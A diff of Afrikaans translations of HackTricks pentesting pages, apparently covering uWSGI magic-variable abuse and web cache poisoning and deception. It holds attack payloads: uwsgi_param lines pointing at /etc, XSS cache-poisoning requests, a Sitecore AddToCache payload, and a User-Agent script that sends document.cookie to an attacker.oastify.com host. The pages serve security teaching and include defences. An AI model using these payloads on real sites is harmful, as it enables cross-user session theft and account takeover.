+start_response('200 OK', [('Content-Type', 'application/json')])
+return [json.dumps(env_data, indent=2).encode()]
+```
+#### Lêerstelseltoegang
+Gebruik `UWSGI_CHDIR` in kombinasie met lêerdiens om toegang tot sensitiewe lêers te kry:
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+uwsgi_param UWSGI_FILE /app/file_server.py;
+```
+### 3. Privilege Escalation
+
+#### Socket Manipulation
+As uWSGI met elevated privileges loop, attackers kan socket permissions manipuleer:
+```
+uwsgi_param UWSGI_CHDIR /tmp;
+uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
+```
+#### Konfigurasie Oorskrywing
+```python
+# malicious_config.py
+import os
+
+# Override uWSGI configuration
+os.environ['UWSGI_MASTER'] = '1'
+os.environ['UWSGI_PROCESSES'] = '1'
+os.environ['UWSGI_CHEAPER'] = '1'
+```
+## Verwysings
+
+- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
+- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
+- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
+
+{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

@@ -4,73 +4,72 @@
 
 ## Die verskil
 
-> **Wat is die verskil tussen web cache poisoning en web cache deception?**
+> **What is the difference between web cache poisoning and web cache deception?**
 >
-> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing skadelike inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
+> - In **web cache poisoning**, die attacker veroorsaak dat die application sekere malicious content in die cache stoor, en hierdie content word vanaf die cache bedien aan ander application users.
-> - In **web cache deception**, die aanvaller laat die toepassing sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache terug.
+> - In **web cache deception**, die attacker veroorsaak dat die application sekere sensitiewe inhoud van ’n ander gebruiker in die cache stoor, en die attacker haal dan hierdie inhoud uit die cache.
 
 ## Cache Poisoning
 
-Cache poisoning is gemik op die manipulasie van die client-side cache om kliënte te dwing om hulpbronne te laai wat onverwag, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die geraakte bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers wat die bladsy besoek gedurende die tydperk van cache-besoedeling bedien word.
+Cache poisoning is gemik op die manipulasie van die client-side cache om clients te dwing om resources te laai wat onverwags, gedeeltelik, of onder die beheer van ’n attacker is. Die omvang van die impak hang af van die gewildheid van die geaffekteerde page, aangesien die besmette response slegs aan users bedien word wat die page besoek gedurende die tydperk van cache kontaminasie.
 
-Die uitvoering van 'n cache poisoning-aanval behels verskeie stappe:
+Die uitvoering van ’n cache poisoning assault behels verskeie stappe:
 
-1. **Identification of Unkeyed Inputs**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die reaksie wat deur die bediener teruggestuur word kan verander. Om hierdie insette te identifiseer is noodsaaklik aangesien hulle uitgebuit kan word om die cache te manipuleer.
+1. **Identification of Unkeyed Inputs**: Dit is parameters wat, alhoewel nie vereis vir ’n request om gecached te word nie, die response wat die server teruggee kan verander. Identifisering van hierdie inputs is krities aangesien hulle uitgebuit kan word om die cache te manipuleer.
-2. **Exploitation of the Unkeyed Inputs**: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters misbruik te maak om die bediener se reaksie op 'n wyse te verander wat tot voordeel van die aanvaller is.
+2. **Exploitation of the Unkeyed Inputs**: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te werk hoe om hierdie parameters onbedoeld te misbruik om die server se response op ’n manier te wysig wat die attacker bevoordeel.
-3. **Ensuring the Poisoned Response is Cached**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die cache gestoor word. Sodoende sal enige gebruiker wat die geraakte bladsy besoek terwyl die cache besoedel is, die besoedelde reaksie ontvang.
+3. **Ensuring the Poisoned Response is Cached**: Die finale stap is om te verseker dat die gemanipuleerde response in die cache gestoor word. Op hierdie manier sal enige user wat die geaffekteerde page besoek terwyl die cache besmet is die beskadigde response ontvang.
 
-### Ontdekking: Kontroleer HTTP headers
+### Ontdekking: Check HTTP headers
 
-Gewoonlik, wanneer 'n reaksie in die cache gestoor is, sal daar 'n **header aandui** dat dit so is; jy kan kyk na watter headers jy aandag moet gee in hierdie pos: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Gewoonlik, wanneer ’n response **stored in the cache** is daar ’n **header wat dit aandui**; jy kan kyk watter headers aandag verdien in hierdie artikel: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Ontdekking: Caching foutkoade
+### Ontdekking: Caching error codes
 
-As jy dink dat die reaksie in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte header te stuur**, wat met 'n **statuskode 400** behoort te reageer. Probeer dan die versoek normaal benader en as die **reaksie 'n 400 statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
+As jy dink dat die response in ’n cache gestoor word, kan jy probeer om **requests with a bad header** te stuur, wat normaalweg met ’n **status code 400** beantwoord behoort te word. Probeer dan toegang tot die request normaalweg en as die **response a 400 status code** is, weet jy dit is kwesbaar (en jy kan selfs ’n DoS uitvoer).
 
 Jy kan meer opsies vind in:
 
-
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-Let wel dat **soms hierdie tipes statuskodes nie in die cache gestoor word nie**, so hierdie toets dalk nie betroubaar is nie.
+Let egter daarop dat **soms hierdie tipes status codes nie gecached word nie**, so hierdie toets mag nie betroubaar wees nie.
 
-### Ontdekking: Identifiseer en evalueer unkeyed inputs
+### Ontdekking: Identify and evaluate unkeyed inputs
 
-Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en headers te brute-force** wat moontlik die **reaksie van die bladsy verander**. Byvoorbeeld, 'n bladsy kan die header `X-Forwarded-For` gebruik om aan te dui dat die kliënt die script van daar moet laai:
+Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **brute-force parameters and headers** te doen wat moontlik die **response of the page** verander. Byvoorbeeld, ’n page kan die header `X-Forwarded-For` gebruik om die client aan te dui om die script daarvandaan te laai:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### Elicit a harmful response from the back-end server
+### Lok 'n skadelike reaksie uit die back-end bediener
 
-Sodra die parameter/header geïdentifiseer is, kyk hoe dit **gesanitiseer** word en **waar** dit **weerspieël** of die response deur die header beïnvloed. Kan jy dit tog misbruik (uitvoer 'n XSS of 'n JS-kode wat jy beheer laai? 'n DoS uitvoer?...)
+Met die parameter/header geïdentifiseer, kyk hoe dit **gesanitiseer** word en **waar** dit in die reaksie vanaf die header **weerspieël** of die reaksie beïnvloed. Kan jy dit op enige wyse misbruik (voer 'n XSS uit of laai 'n JS-kode wat jy beheer? voer 'n DoS uit?...)
 
-### Get the response cached
+### Kry die reaksie in die cache
 
-Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangend van die resource wat jy probeer kry in die cache kan dit 'n rukkie neem; jy mag vir verskeie sekondes moet probeer.
+Sodra jy die **bladsy** wat misbruik kan word, die **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik** geïdentifiseer het, moet jy die bladsy in die cache kry. Afhangend van die hulpbron wat jy probeer in die cache kry, kan dit 'n rukkie neem — jy mag vir 'n paar sekondes moet probeer.
 
-Die header **`X-Cache`** in die response kan baie nuttig wees aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
+Die header **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
-Die header **`Cache-Control`** is ook interessant om te weet of 'n resource in die cache is en wanneer dit die volgende keer weer in die cache sal gaan: `Cache-Control: public, max-age=1800`
+Die header **`Cache-Control`** is ook belangrik om te weet of 'n hulpbron in die cache gehou word en wanneer dit volgende keer weer in die cache geplaas sal word: `Cache-Control: public, max-age=1800`
 
-Nog 'n interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **aanvullende headers aan te dui** wat as **deel van die cache key** behandel word, selfs al is hulle normaalweg nie gekeyed nie. Daarom, as die gebruiker die `User-Agent` van die teiken ken, kan hy die cache vir gebruikers wat daardie spesifieke `User-Agent` gebruik, poison.
+Nog 'n interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **bykomende headers aan te dui** wat as **deel van die cache-sleutel** beskou word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die victim wat hy teiken ken, kan hy poison the cache vir gebruikers wat daardie spesifieke `User-Agent` gebruik.
 
-Nog 'n header wat met die cache verband hou is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy cache was.
+Nog 'n header verwant aan die cache is **`Age`**. Dit gee die tyd in sekondes wat die objek al in die proxy-cache was.
 
-Wanneer jy 'n versoek in die cache plaas, wees **versigtig met die headers wat jy gebruik** omdat sommige daarvan onverwags as **keyed** gebruik kan word en die **slagoffer dieselfde header sal moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende browsers** om te kyk of dit werk.
+Wanneer jy 'n versoek in die cache plaas, wees **versigtig met watter headers jy gebruik**, want sommige van hulle kan **onverwag gebruik** word as **keyed** en die **victim sal dieselfde header moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende browsers** om te kyk of dit werk.
 
 ## Voorbeelde van uitbuiting
 
 ### Maklikste voorbeeld
 
-'n header soos `X-Forwarded-For` word ongesanitiseerd in die response weerspieël.\
+'n header soos `X-Forwarded-For` word ongefiltreerd in die reaksie weerspieël.\
-Jy kan 'n basiese XSS payload stuur en die cache poison sodat almal wat toegang tot die bladsy kry XSSed sal word:
+Jy kan 'n basiese XSS payload stuur en poison the cache sodat almal wat die bladsy besoek XSSed sal word:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Note that this will poison a request to `/en?region=uk` not to `/en`_
+_Let wel dat dit poison 'n versoek na `/en?region=uk` sal wees, nie na `/en` nie_
 
 ### Cache poisoning to DoS
 
@@ -83,21 +82,21 @@ cache-poisoning-to-dos.md
 
 In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** word die volgende eenvoudige scenario verduidelik:
 
-- Die CDN sal enigiets onder `/share/` cache
+- Die CDN sal cache alles onder `/share/`
-- Die CDN sal NIE `%2F..%2F` decodeer of normaliseer nie, daarom kan dit gebruik word as **path traversal om toegang te kry tot ander sensitiewe lokasies wat cached sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Die CDN sal NIE `%2F..%2F` decode of normaliseer nie, daarom kan dit gebruik word as **path traversal to access other sensitive locations that will be cached** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Die web server SAL `%2F..%2F` decodeer en normaliseer, en sal antwoord met `/api/auth/session`, wat **die auth token bevat**.
+- Die web server sal WEL `%2F..%2F` decode en normaliseer, en sal reageer met `/api/auth/session`, wat die auth token bevat.
 
 ### Using web cache poisoning to exploit cookie-handling vulnerabilities
 
-Cookies kan ook in die respons van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS exploit in verskeie clients wat die kwaadwillige cache-respons laai.
+Cookies kan ook in die reaksie van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte uitbuit wat die kwaadwillige cache-reaksie laai.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Let wel: as die kwesbare cookie wyd deur gebruikers gebruik word, sal normale versoeke die cache skoonmaak.
+Let daarop dat as die kwesbare cookie baie deur gebruikers gebruik word, gewone versoeke die cache sal skoonmaak.
 
-### Generering van afwykings met skeidingstekens, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Generering van verskille met afbakeners, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
 Kyk:
 
@@ -106,29 +105,29 @@ Kyk:
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning met path traversal om API key te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
 [**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
 
-Dit word ook beter verduidelik in:
+Hier word dit ook beter verduidelik in:
 
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Gebruik van meerdere headers om web cache poisoning vulnerabilities uit te buit <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Soms sal jy nodig hê om **exploit several unkeyed inputs** sodat jy 'n cache kan misbruik. Byvoorbeeld, jy kan 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domain wat jy beheer stel en `X-Forwarded-Scheme` op `http`. As die **server** alle **HTTP** versoeke **to HTTPS** **forwarding** en die header `X-Forwarded-Scheme` as die domeinnaam vir die redirect gebruik word, kan jy beheer waarheen die bladsy deur die redirect gewys word.
+Soms sal jy die **exploit several unkeyed inputs** nodig hê om 'n cache te misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domein stel wat deur jou beheer word en `X-Forwarded-Scheme` op `http` stel. **If** die **server** is **forwarding** alle **HTTP** versoeke **to HTTPS** en die header `X-Forwarded-Scheme` gebruik as die domain name vir die redirect, kan jy beheer waarheen die bladsy deur die redirect wys.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Exploiting met beperkte `Vary`header
+### Exploiting with limited `Vary`header
 
-As jy ontdek dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS resource te laai** maar die **`Vary`** header in die response aandui **`User-Agent`**, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:
+Indien jy agterkom dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS resource te laai**, maar die **`Vary`** header in die response aandui **`User-Agent`**, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -137,7 +136,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Stuur 'n GET-versoek met die versoek in die URL en in die body. As die web server dié uit die body gebruik, maar die cache server kas die een uit die URL, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle by die Github-werf gevind het:
+Stuur 'n GET-versoek met die versoek beide in die URL en in die body. As die web server die een uit die body gebruik, maar die cache server die een uit die URL kas, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle op die Github-website gevind het:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -146,11 +145,11 @@ Content-Length: 22
 
 report=innocent-victim
 ```
-Daar is 'n PortSwigger-lab oor dit: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There is 'n Portswigger lab hieroor: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
 
 ### Parameter Cloacking
 
-Byvoorbeeld is dit moontlik om **parameters** in ruby-servers te skei deur die karakter **`;`** in plaas van **`&`** te gebruik. Dit kan gebruik word om unkeyed parameter values binne keyed ones te plaas en misbruik daarvan te maak.
+Byvoorbeeld is dit moontlik om **parameters** op ruby-bedieners te skei met die karakter **`;`** in plaas van **`&`**. Dit kan gebruik word om parameterwaardes sonder sleutel binne parameterwaardes met sleutel in te sluit en dit misbruik.
 
 Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
 
@@ -166,39 +165,39 @@ Example usage: `wcvs -u example.com`
 
 ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
 
-Hierdie werklike-wêreld patroon koppel 'n header-gebaseerde reflection primitive aan CDN/WAF-gedrag om die cached HTML wat aan ander gebruikers bedien word betroubaar te poison:
+Hierdie werklike-wereld patroon koppel 'n header-gebaseerde reflection-primitive aan CDN/WAF-gedrag om die gecachte HTML wat aan ander gebruikers bedien word betroubaar te poison:
 
-- Die hoof-HTML reflekteer 'n onbetroubare request header (e.g., `User-Agent`) in 'n executable context.
+- Die hoof-HTML weerspieël 'n onbetroubare versoek-header (e.g., `User-Agent`) in 'n uitvoerbare konteks.
-- Die CDN het cache headers verwyder maar daar was 'n internal/origin cache. Die CDN het ook versoeke wat eindig in statiese extensies (e.g., `.js`) outomaties gecache, terwyl die WAF 'n swakere inhoudsinspeksie op GETs vir statiese assets toegepas het.
+- Die CDN het cache headers gestripe maar 'n interne/origin cache het bestaan. Die CDN het ook versoeke wat op statiese extensies eindig (e.g., `.js`) outomaties gecache, terwyl die WAF 'n swakker inhoudsinspeksie op GETs vir statiese bates toegepas het.
-- Kinkels in die request-flow het toegelaat dat 'n versoek na 'n `.js`-pad die cache key/variant beïnvloed wat gebruik is vir die daaropvolgende hoof-HTML, wat cross-user XSS via header reflection moontlik maak.
+- Vreemde versoekstroom-dinamika het toegelaat dat 'n versoek na 'n `.js` path die cache key/variant vir die daaropvolgende hoof-HTML beïnvloed, wat cross-user XSS via header reflection moontlik maak.
 
-Praktiese resep (waargeneem by 'n gewilde CDN/WAF):
+Praktiese resep (waargeneem oor 'n gewilde CDN/WAF):
 
-1) Vanaf 'n skoon IP (vermy vorige reputasie-gebaseerde afgrade), stel 'n kwaadwillige `User-Agent` via jou browser of Burp Proxy Match & Replace.
+1) Vanaf 'n skoon IP (vermy vooraf bestaande reputasie-gebaseerde afgraderings), stel 'n kwaadwillige `User-Agent` via die blaaier of Burp Proxy Match & Replace.
-2) In Burp Repeater, berei 'n groep van twee requests voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
+2) In Burp Repeater, berei 'n groep van twee versoeke voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
-- Eerste versoek: GET 'n `.js` resource pad op dieselfde origin terwyl jy jou kwaadwillige `User-Agent` stuur.
+- Eerste versoek: GET 'n `.js` resource path op dieselfde origin terwyl jy jou kwaadwillige `User-Agent` stuur.
-- Meteens daarna: GET die hoofblad (`/`).
+- Onmiddellik daarna: GET die hoofblad (`/`).
-3) Die CDN/WAF routing race plus die outomaties gecachte `.js` saai dikwels 'n poisoned cached HTML-variant wat dan bedien word aan ander besoekers wat dieselfde cache key-voorwaardes deel (e.g., dieselfde `Vary` dimensies soos `User-Agent`).
+3) Die CDN/WAF routeringswedloop plus die outomaties gecachede `.js` saai dikwels 'n poisoned cached HTML-variant wat dan aan ander besoekers bedien word wat dieselfde cache key-toestande deel (e.g., dieselfde `Vary` dimensies soos `User-Agent`).
 
-Voorbeeld header-payload (om non-HttpOnly cookies te eksfiltreer):
+Example header payload (to exfiltrate non-HttpOnly cookies):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
 Operasionele wenke:
 
 - Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
-- Using an IP from the CDN's own cloud sometimes improves routing consistency.
+- Die gebruik van 'n IP vanaf die CDN se eie cloud verbeter soms routeringskonsistensie.
-- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
+- As 'n streng CSP teenwoordig is, werk dit steeds as die refleksie in die hoof HTML-konteks uitgevoer word en CSP inline-uitvoering toelaat of deur konteks omseil word.
 
 Impak:
 
-- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
+- As sessie-cookies nie `HttpOnly` is nie, is zero-click ATO moontlik deur massale eksfiltrasie van `document.cookie` van alle gebruikers wat die poisoned HTML ontvang.
 
 Verdedigings:
 
-- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
+- Hou op om request headers in HTML te reflekteer; kodeer dit streng volgens konteks as dit onvermydelik is. Stem CDN- en origin cache-beleid op mekaar af en vermy varying op onbetroubare headers.
-- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
+- Sorg dat die WAF inhoudsinspeksie konsekwent toepas op `.js` requests en statiese paths.
-- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
+- Stel `HttpOnly` (en `Secure`, `SameSite`) op sessie-cookies.
 
 ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
 
@@ -209,9 +208,9 @@ Content-Type: application/x-www-form-urlencoded
 
 __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-This skryf ewekansige HTML onder 'n deur die attacker gekose cache key, wat presiese vergiftiging moontlik maak sodra cache keys bekend is.
+Dit skryf arbitrêre HTML onder 'n attacker‑chosen cache key, wat presiese poisoning moontlik maak sodra cache keys bekend is.
 
-Vir volledige besonderhede (cache key construction, ItemService enumeration en a chained post‑auth deserialization RCE):
+Vir volledige besonderhede (cache key construction, ItemService enumeration en 'n chained post‑auth deserialization RCE):
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/sitecore/README.md
@@ -221,45 +220,45 @@ Vir volledige besonderhede (cache key construction, ItemService enumeration en a
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS het die fragment in die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gebou op die host, path en query (wat die fragment ignoreer). Dus is die versoek `/#/../?r=javascript:alert(1)` na die backend gestuur as `/#/../?r=javascript:alert(1)` en die cache key het nie die payload daarin gehad nie, slegs host, path en query.
+ATS het die fragment binne die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gegenereer met behulp van host, path en query (die fragment ignoreer). Dus is die versoek `/#/../?r=javascript:alert(1)` na die backend gestuur as `/#/../?r=javascript:alert(1)` en die cache key het nie die payload daarin gehad nie, slegs host, path en query.
 
 ### GitHub CP-DoS
 
-Deur 'n slegte waarde in die content-type header te stuur, is 'n 405 gekashde reaksie veroorsaak. Die cache key het die cookie bevat, so dit was slegs moontlik om nie-geauthentiseerde gebruikers aan te val.
+Deur 'n slegte waarde in die content-type header te stuur is 'n 405 cached response geaktiveer. Die cache key het die cookie ingesluit, so dit was slegs moontlik om unauth users aan te val.
 
 ### GitLab + GCP CP-DoS
 
-GitLab gebruik GCP buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. Dus was dit moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te vergiftig sodat dit 'n leë response body teruggee. Dit kon ook die metode `PURGE` ondersteun.
+GitLab gebruik GCP buckets om static content te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. Dus was dit moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te poison sodat dit 'n leë response body teruggee. Dit kon ook die method `PURGE` ondersteun.
 
 ### Rack Middleware (Ruby on Rails)
 
-In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die versoek se scheme in te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, gebeur 'n 301-omleiding na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n attacker se bediener, wat 'n sekuriteitsrisiko inhou.
+In Ruby on Rails applications word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die request se scheme te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, gebeur 'n 301 redirect na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie bron kan veroorsaak. Verder kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n attacker\'s server, wat 'n sekuriteitsrisiko inhou.
 
 ### 403 and Storage Buckets
 
-Cloudflare het voorheen 403-responsies gekash. Om S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer bereik, sou 'n 403-respons tot gevolg hê wat gekash is. Alhoewel Cloudflare opgehou het om 403-responses te cache, mag hierdie gedrag steeds in ander proxy-dienste voorkom.
+Cloudflare het voorheen 403 responses gecache. Om toegang tot S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer het 'n 403 response gegee wat gecache is. Alhoewel Cloudflare opgehou het om 403 responses te cache, kan hierdie gedrag steeds in ander proxy-dienste voorkom.
 
 ### Injecting Keyed Parameters
 
-Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly's Varnish het die `size` parameter in versoeke gekoos. As 'n URL-encoded weergawe van die parameter (bv. `siz%65`) ook met 'n verkeerde waarde gestuur is, sou die cache key saamgestel word met die korrekte `size` parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede `size` parameter het gelei tot die weglating daarvan deur die cache maar tot die gebruik daarvan deur die backend. Om hieraan 'n waarde van 0 toe te ken het 'n cache-bare 400 Bad Request fout tot gevolg gehad.
+Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly se Varnish cached die `size` parameter in versoeke. As 'n URL-encoded weergawe van die parameter (bv. `siz%65`) egter ook met 'n foutiewe waarde gestuur is, sou die cache key saamgestel word met die korrekte `size` parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede `size`-parameter het daartoe gelei dat dit deur die cache weggelaat is, maar deur die backend gebruik is. Om 'n waarde van 0 aan hierdie parameter toe te ken het gelei tot 'n cacheable 400 Bad Request error.
 
 ### User Agent Rules
 
-Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-traffiek gereedskap soos FFUF of Nuclei om bedienerbelasting te bestuur. Ironies kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
+Sommige ontwikkelaars blokkeer versoeke met user-agents wat pas by hoë‑verkeer tools soos FFUF of Nuclei om serverbelasting te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
 
 ### Illegal Header Fields
 
-Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die toelaatbare karakters in headername. Headers wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort ideaal 'n 400 Bad Request response te veroorsaak. In die praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400-fout cacheer, solank die `cache-control` header nie teenwoordig is nie. 'n Benutbare patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, gelei het tot 'n cache-bare 400 Bad Request fout.
